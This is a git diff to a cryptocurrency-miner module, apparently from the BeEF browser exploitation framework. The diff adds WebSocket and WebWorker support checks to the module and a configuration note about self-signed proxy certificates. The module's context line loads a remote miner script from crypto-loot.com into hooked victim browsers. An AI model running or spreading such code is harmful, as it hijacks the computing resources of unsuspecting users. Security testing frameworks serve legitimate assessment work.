diff --git a/modules/misc/cryptoloot_miner/command.js b/modules/misc/cryptoloot_miner/command.js
index e3d3c4927..3e845e37a 100644
--- a/modules/misc/cryptoloot_miner/command.js
+++ b/modules/misc/cryptoloot_miner/command.js
@@ -13,6 +13,18 @@ beef.execute(function() {
   var comm_id = <%= @command_id %>;
   var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds
 
+  if (!beef.browser.hasWebSocket()) {
+    beef.debug('[CryptoLoot] Error: browser does not support WebSockets');
+    beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error());
+    return;
+  }
+
+  if (!beef.browser.hasWebWorker()) {
+    beef.debug('[CryptoLoot] Error: browser does not support WebWorkers');
+    beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error());
+    return;
+  }
+
   beef.debug("[CryptoLoot] Loading library...");
   beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library...");
   beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js');
diff --git a/modules/misc/cryptoloot_miner/config.yaml b/modules/misc/cryptoloot_miner/config.yaml
index 12335dc35..3a9764fa0 100644
--- a/modules/misc/cryptoloot_miner/config.yaml
+++ b/modules/misc/cryptoloot_miner/config.yaml
@@ -13,7 +13,7 @@ beef:
             enable: true
             category: "Misc"
             name: "Crypto-Loot Miner"
-            description: "This module starts the Crypto-Loot Miner."
+            description: "This module starts the Crypto-Loot Miner. It's worth noting that the module will not work with the default Crypto-Loot proxies as the certificates for the web socket servers are self-signed."
             authors: ["qutorial"]
             target:
                 user_notify: ['ALL']